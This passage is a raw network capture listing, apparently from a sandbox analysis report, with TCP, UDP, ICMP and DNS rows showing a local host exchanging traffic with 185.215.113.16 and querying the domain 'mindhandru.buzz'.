Dec 27, 2024 14:56:42.694518089 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.694559097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.694741964 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.695310116 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.695359945 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.695369959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.695410013 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.695486069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.695555925 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.696247101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696326971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696337938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696382046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.696423054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696468115 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.696877003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696887016 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696899891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.696932077 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.696980953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.697019100 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.697655916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.697701931 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.697714090 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.697753906 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.697817087 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.697856903 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.698549986 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.698622942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.698633909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.698674917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.698760033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.698806047 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.699441910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.699453115 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.699464083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.699486017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.699601889 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.699816942 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.700267076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.700285912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.700297117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.700339079 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.700423956 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.700462103 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.701375008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.701394081 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.701404095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.701447964 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.701520920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.701620102 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.702075958 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702121019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702131033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702167988 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.702234030 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702275038 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.702893972 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702905893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702917099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.702981949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.702994108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.703030109 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.703758001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.703768969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.703779936 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.703824043 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.703852892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.703896046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.704834938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.704847097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.704858065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.704898119 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.705022097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.705075026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.705699921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.705754042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.705765963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.705806017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.705946922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.705991030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.706532955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.706577063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.706594944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.706636906 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.706669092 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.706713915 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.707353115 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.707400084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.707411051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.707446098 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.707454920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.707725048 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.708168030 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708179951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708214998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708225965 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.708304882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708349943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.708853006 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708889008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708899975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.708945036 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.709026098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.709067106 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.709722042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.709742069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.709754944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.709783077 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.709876060 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.709919930 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.710585117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.710627079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.710637093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.710674047 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.710748911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.710788012 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.711486101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.711497068 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.711508989 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.711544037 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.711604118 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.711874962 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.712348938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.712361097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.712372065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.712409019 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.712449074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.712487936 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.713206053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.713217974 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.713228941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.713263988 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.713293076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.713331938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.714030981 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.714050055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.714066029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.714106083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.714139938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.714324951 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.714952946 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.757441998 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.903259039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903274059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903286934 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903347969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903351068 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.903403997 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.903649092 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903660059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903671026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.903718948 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.903743982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.904721975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.904733896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.904745102 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.904776096 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.905236959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.905247927 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.905293941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.905304909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.905304909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.905332088 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.905714035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.906178951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.906191111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.906210899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.906244040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.906982899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.906997919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907027006 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907038927 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907052994 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.907073021 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.907355070 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907948971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907960892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907973051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.907996893 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.908011913 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.908070087 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.908111095 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.908761978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.908772945 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.908785105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.908817053 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.908869982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.909619093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.909630060 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.909642935 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.909670115 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.909718037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.910502911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.910515070 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.910526037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.910557032 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.910690069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.911381960 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.911422968 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.911438942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.911442041 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.911468029 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.911709070 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.912281036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.912292957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.912305117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.912341118 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.912492990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913081884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913094044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913105965 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913162947 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.913455963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913739920 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.913876057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913930893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913942099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.913976908 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.913986921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.914760113 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.914772034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.914783955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.914812088 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.914824963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.914885044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.915601015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.915612936 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.915625095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.915651083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.915688038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.915730000 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.916565895 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.916575909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.916587114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.916635036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.916649103 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.916671991 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.917310953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.917363882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.917376041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.917419910 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.917468071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.917725086 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.918188095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.918200970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.918212891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.918246031 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.918296099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919020891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919039965 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919053078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919069052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.919095039 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.919151068 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919225931 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.919864893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919888973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919899940 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.919933081 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.920069933 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.920859098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.920871019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.920885086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.920895100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.920905113 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.920941114 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:52.410561085 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:52.891868114 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:52.891925097 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:52.892252922 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:52.892252922 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:52.892292976 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.894996881 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.895287991 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:54.895329952 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.896346092 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.896403074 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:54.897443056 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:54.897501945 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.947844028 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:56:54.947851896 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:56:54.993787050 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:04.573769093 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:04.573849916 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:04.573895931 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:04.888799906 CET	49806	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:04.888848066 CET	443	49806	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:07.096040964 CET	443	49722	104.98.116.138	192.168.2.7
Dec 27, 2024 14:57:07.096107006 CET	49722	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:57:52.806600094 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:52.806652069 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:52.806725979 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:52.806998014 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:52.807018042 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:54.588372946 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:54.588670969 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:54.588707924 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:54.589184046 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:54.589543104 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:57:54.589632988 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:57:54.632858038 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:58:04.266861916 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:58:04.266961098 CET	443	50060	172.217.21.36	192.168.2.7
Dec 27, 2024 14:58:04.267016888 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:58:05.526937962 CET	50060	443	192.168.2.7	172.217.21.36
Dec 27, 2024 14:58:05.526978970 CET	443	50060	172.217.21.36	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:56:08.504326105 CET	61505	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:08.644404888 CET	53	61505	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:14.805058002 CET	123	123	192.168.2.7	40.81.94.65
Dec 27, 2024 14:56:15.600059032 CET	123	123	40.81.94.65	192.168.2.7
Dec 27, 2024 14:56:48.826910019 CET	53	49538	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:48.843468904 CET	53	52066	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:51.655940056 CET	53	53020	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:52.746876001 CET	63821	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:52.747100115 CET	58827	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:52.884198904 CET	53	63821	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:52.884994984 CET	53	58827	1.1.1.1	192.168.2.7
Dec 27, 2024 14:56:55.902496099 CET	63061	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:55.902684927 CET	50497	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:58.966700077 CET	57057	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:56:58.966969013 CET	52888	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:57:06.371259928 CET	53	58554	1.1.1.1	192.168.2.7
Dec 27, 2024 14:57:07.809324026 CET	53384	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:57:07.809494019 CET	64848	53	192.168.2.7	1.1.1.1
Dec 27, 2024 14:57:08.913108110 CET	138	138	192.168.2.7	192.168.2.255
Dec 27, 2024 14:57:08.989654064 CET	53	55359	1.1.1.1	192.168.2.7
Dec 27, 2024 14:57:27.927004099 CET	53	62708	1.1.1.1	192.168.2.7
Dec 27, 2024 14:57:48.592523098 CET	53	59951	1.1.1.1	192.168.2.7
Dec 27, 2024 14:57:50.567895889 CET	53	60208	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 14:56:56.306893110 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 14:56:08.504326105 CET	192.168.2.7	1.1.1.1	0xca11	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:52.746876001 CET	192.168.2.7	1.1.1.1	0xfbec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:52.747100115 CET	192.168.2.7	1.1.1.1	0x5540	Standard query (0)	www.google.com	65	IN (0x0001)	false
